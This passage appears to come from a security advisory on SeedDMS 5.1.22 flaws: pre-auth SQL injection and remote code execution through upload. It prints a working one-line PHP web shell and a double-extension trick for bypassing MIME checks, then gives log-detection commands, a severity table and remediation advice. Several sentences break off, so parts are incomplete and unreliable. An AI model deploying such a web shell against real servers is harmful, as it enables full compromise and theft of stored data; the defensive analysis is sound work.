Create a minimal PHP web shell (e.g., evil.php):

<?php system($_GET['cmd']); ?>

Rename or embed as needed. To bypass weak MIME checks, set the filename to evil.php.jpg—but the system may still save it as .php depending on the upload routine.

Check access logs for unusual POSTs to op.AddFile.php without preceding GET to out.Login.php:

grep "op.AddFile.php" /var/log/apache2/access.log | grep -B1 "POST"

If you see POST requests from an IP that never visited out.Login.php, that's a red flag.

| Aspect | Severity | |--------------------------|------------------------------------------------------------------------------| | CVSS Score (est.) | 9.8 (Critical) – AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | | Authentication | None required | | User Interaction | None | | Complexity | Low (basic HTTP request forgery) | | Data Exposure | Full document repository + system files + DB credentials | | Persistence | High – webshell persists across reboots until manual deletion |

In a real-world audit, this exploit allowed full access to HR records, financial PDFs, and even the SeedDMS user table (password hashes, unsalted in older versions).


After compromising admin credentials (via SQLi or brute force), the attacker can achieve RCE.

SeedDMS 5.1.22 is a case study in how seemingly minor coding oversights—unsafe SQL concatenation and writable configuration files—can lead to complete server compromise. The pre-auth SQL injection allows attackers to bypass login entirely, while the post-auth RCE provides a reliable path to system-level access.

For security professionals, this serves as a reminder to:

For system administrators running SeedDMS 5.1.22: treat your installation as compromised immediately. Audit logs, change all credentials, and upgrade to the latest stable release (currently 6.x).